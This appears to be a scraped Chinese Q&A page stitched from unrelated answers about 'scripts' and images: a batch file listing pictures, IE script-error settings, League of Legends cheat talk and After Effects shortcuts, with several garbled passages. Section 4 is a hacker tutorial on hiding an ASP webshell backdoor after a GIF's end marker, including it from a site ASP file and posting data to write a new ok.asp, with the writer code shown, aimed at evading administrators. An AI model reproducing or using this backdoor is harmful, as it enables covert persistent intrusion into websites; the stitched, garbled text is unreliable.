1. windows下脚本生成图片清单
@echooff&title生成图片名清单By依梦琴瑶
cd/d%~dp0
::设置图片格式
setExt=*.jp*g,*.png,*.bmp,*.gif
(for%%ain(%Ext%)do(
echo"%%~na"|findstr/i"cat">nul2>nul&&echo%%~a1
echo"%%~na"|findstr/i"fish">nul2>nul&&echo%%~a2
))>图片名清单.txt
pause
2. 电脑每次开机都提示脚本错误
【原因分析】:
1. 勾选禁止脚本调试
2. 勾选显示每个脚本错误的通知
3. 勾选显示有好HTTP错误信息
【简易步骤】:
【浏览器】—【工具】—【Internet选项】—【高级】—取消【禁止脚本调试】对勾—取消【显示每个脚本错误的通知】对勾—取消【显示有好HTTP错误信息】对勾—【确定】—关闭【浏览器】重新打开
【解决方案】:
1. 打开【IE浏览器】,点击【工具】,选择【Internet选项】。
3. LOL玩家遇到最强的脚本,“只能看到技能,找不到英雄”,你遇到过了吗
《英雄联盟》现在为了留住更多的老玩家开始不断的更新,出新的玩法,希望能够让大家眼前一亮,但是随着频繁的更新也就出现了一系列的问题,那就是新系统不完善,导致BUG不断,当然也有可能是一些新的脚本玩家,近日就有一名玩家表示,自己在玩游戏的时候,遇到了只能看到技能却找不到英雄的情况。
游戏出现新的问题
我认为
这个非常有可能是新的脚本,这种无限隐身机制太无解了,根本没有操作的机会,当然也有可能是新的Bug,如果在一局游戏中掉线,在重新连接之后,就会经常遇到一些问题,比如身上一直有Buff的标记,又或是被防御塔锁定的标记,还有可能是卡出自己技能释放时候的样子等等,相信很多的玩家也都遇到过。
4. 图片内加入脚本
现在从注入拿WEBSHELL看来成功率都比较高了。拿到SHELL后,安装自己的脚本后门,常常被查杀。 脚本后门的发展史:
1。最开始就是直接放一个ASP文件上去。
2。把ASP文件加密才放上去。
3。把脚本插入到代码中去。(我经常用这种) 不过一样被查得出来,我前段时候手工检测一个站的脚本安全。发现这个站被种了21个木马。所以我就想到了,怎么样才能不被发现不能被查杀。 最后我研究了一下如果把脚本插入到图片中。然后在ASP中调用图片中的脚本程序应该就可以了。 测试的时候通过了。现在我把我的心德写一下。让大家来分析一下。共同进步和完善这种方法。 在研究过程中我看了GIF图片的结构文档方面的书。 GIF图片都是以 00 3B 为结束的。换句话说00 3B 后面的不会显示出来。所以我们在00 3B后面插入代码就行了。当然代码我们加密放到图片中去效果更好。我写了一个程序来这么做。 这里要说一下,在图片中00 3B后面的是不会显示出来的。 但其中的代码已经运行了。图片也会正常显示出来。 测试:
在图片后面加入:<%=now%>
然后在一个ASP文件中加入:<!--#include file="aaa.gif" --> 然后你们下载这个图片,发现图片最后面变成了时间。很正常因为图片放到了ASP脚本中运行了其中的代码。 换句话来说,如果写的是一段生成文件的脚本。那么我们提交特定的参数让图片中的代码去生成文件。这样就实现了我们的后门。 1:这种方法要做的工作就是在目标站点中找一张GIF图片然后把代码插入到图片中,再上传到站点中去。这样作管理员很难找到木马在哪里。打死也想不到木马在图片中。 2:我们插入的代码只有一行就是那个include file .....
找个文件大点的ASP文件给插进去就行了。 然后我们在本地POST数据提交给ASP引用图片的URL这样就完成了工作。 我的插入图片的脚本: <% dim objFSO %>
<% dim fdata %>
<% dim objCountFile %>
<% on error resume next %>
<% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %>
<% fdata = request("cyfddata") %>
<% if fdata<>"" then %>
<% syfdpath=server.mappath(Request.ServerVariables("SCRIPT_NAME"))&"\ok.asp"%>
<% Set objCountFile=objFSO.CreateTextFile(syfdapth,True) %>
<% objCountFile.Write fdata %>
<% end if %>
<% objCountFile.Close %>
<% Set objCountFile=Nothing %>
<% Set objFSO = Nothing %> 这段代码主要就是在当前目录下生成一个ok.asp文件。
文件内容是由我们提交的数据.用request("cyfddata")来获取的。 这段代码加密后插入到图片中去。下面我把我程序的代码贴出来。 本地自己构建一个提交表单向ASP文件提交(加入图片那个文件) 表单文本框输入内容名称是:cyfddata 后感:
我本人认为这种方法,管理员很难查到。这是我两天前想到的作出来了,可能有些问题希望和大家一起讨论,必竞,为了追求技术就得研究技术。
共享知识,从而升华。
感觉去研究一些新东西,人活得更XS些。
5. 脚本如何插入多张图片
把你要在插入的三张图设为B C D
FindPic 820,777,1070,792,"Attachment:\A.bmp" OR "Attachment:\B.bmp" OR "Attachment:\C.bmp" OR "Attachment:\D.bmp" ,1.0,intX,intY
以此类推空一个加OR在空一个然后插入目录名称
6. AE中在运行脚本时,第一次正常,第二次出现unable to execute script at line 1 如何让该脚本正常运行
AE脚本里面封装了一些AE操作,只来要执行了AE脚本,这些操作将会自动在AE里执行一遍,相当于AE的机械化操作吧源。
一般情况下,部分有编程能力的人将一些重复性很强的步骤或者是相当复杂的效果的实现步骤编写成AE脚本,以方便后来一次性生成此类效果。
(6)官方脚本图片扩展阅读:
AE的快捷使用:
1、建立一个新项目:Ctrl+Alt+N,可以新建一个项目,用于制作。
2、打开项目:Ctrl+O,按下Ctrl+O可以用于打开项目。
3、保存项目:Ctrl+S,当在使用AE时,如果需要保存一个项目,则可以通过Ctrl+S来进行保存项目。
4、退出软件:按下Ctrl+Q可以退出软件;
5、素材处理:替换素材文件Ctrl+H;设置解释素材选项Ctrl+F;扫描发生变化的素材Ctrl+Alt+Shift+L;重新调入素材 Ctrl+Alt+L。
7. 英雄联盟有全图透视脚本吗
目前联盟并没有全图透视脚本,走位躲避,CD计时,以及自动连招,野怪击杀提示,以及大小龙GANK等功能,简单点的就枯绝兄是走砍了。然而,这种脚本是违没袭反游戏规则和道德的,因为它给使用者非常大的不公平优势,破坏了游戏的平衡性和公正性。因此,游戏开发商和社区都宏老会采取措施来禁止这种作弊行为。在游戏中使用透视脚本会导致账号被封禁,甚至永久封禁。所以,我们强烈建议您不要使用这种作弊脚本,秉持诚实、公正的游戏态度,共同维护游戏的健康和有序发展。